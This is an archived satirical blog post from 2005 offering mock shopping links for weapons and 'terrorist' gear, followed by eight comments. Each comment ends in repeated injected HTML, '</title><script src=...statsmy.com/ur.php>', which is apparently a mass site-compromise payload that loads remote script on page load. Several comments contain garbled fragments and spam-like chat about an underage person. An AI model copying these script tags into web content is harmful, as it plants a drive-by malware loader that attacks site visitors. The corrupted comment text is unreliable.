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Terrorist Dot Com

by Mark on 2/20/2005 (8)

Basic black is back!

Got the terrorist bug? Boss got you down? Tired of the same 'ol 9-5? Don't get left out! Here are some online links to provide you with all of your terrorist needs! Pay-Pal accepted!

Black ski mask What terrorist is complete without the trendy, ubiquitous black ski mask? Don't walk, run...to get your Visa card, that is!
http://www.e4hats.com/

Kalashnikov machine gun Nothing sez "Man, you're really in deep shit now!" quite like Kalashnikov! Check out all the fully auto models here, and be sure to watch for the 'hot deals' icon!
http://kalashnikov.guns.ru/

Grenade launcher When bullets simply won't provide the kick you require, try a KBP 43 mm Russian grenade launcher! Flamethrowers also available!
http://www.shipunov.com/eng/str/grenades/gm94.htm

Portable anti-aircraft missle system Pesky F-18's and encircling Blackhawks got you down? Don't sweat it, just reach for a IGLA 9K38! Batteries included!
http://www.zid.ru/en/products/military/igla.html

Infrared night vision goggles Don't get left out in the dark...literally! Try the Bushnell 1x20 Night Vision Pro on for size! Made in the good ol' USA!
http://focuscamera.com/prods/964584148.asp

Tactical shelter Being a terrorist on the go doesn't mean you can't take the comforts of home with you! Consider the Tricon MFX 2735 Tactical Shelter, complete with 4 removable stalls, incoming plumbing with shower heads and drains lines!
http://tricon-env.com/tatical.htm

Editor's note: Smooth Operator does not condone terrorism. In fact, this editorial is intended to prevent terrorism, as in how NOT to accidentally buy weapons and gear online! Hoot!

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1. by Leeds on 3/1/2007 4:52:29 PM

Aw poop, I forgot to read the Editors Note and accidentaly bought 3119 IGLA 9K38 Portable Anti-aircraft missile systems, and i just dont have the time to form a militant wing of Smooth Op. any one want to swap them for a copy of KOTOR 2 for Xbox?t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Motz on 3/1/2007 4:52:29 PM

i H* KOTOR 2, cheap ripoff of Halo!! Get it right!i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Leeds on 3/1/2007 4:52:29 PM

Halo is an overrated overhyped embarrasment of a game only suitable for ladyboys and Patagonian sheep herders, as well you know Motz!"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Leeds on 3/1/2007 4:52:29 PM

And it doenst have lightsabres that go Brrrrummmmb shhhhhhhh brmmmmm bmmmm bmmm shhhhhwtp:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Leeds on 3/1/2007 4:52:29 PM

Or a bad ass assasin droid who keeps calling you meatbag.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Me on 3/1/2007 4:52:29 PM

I don't feel comfortable IM'ing with you, sweety. I don't want to get in trouble. Too young. src="h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Me again on 3/1/2007 4:52:29 PM

Beleive me, I want to, but its just reckless. We can chat over here. :)n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Leeds on 3/1/2007 4:52:29 PM

Im not sure whats going on here, but you were all for it last night. nobody needs to know your age sex or species, so come on...lets get it on. you know you want to....go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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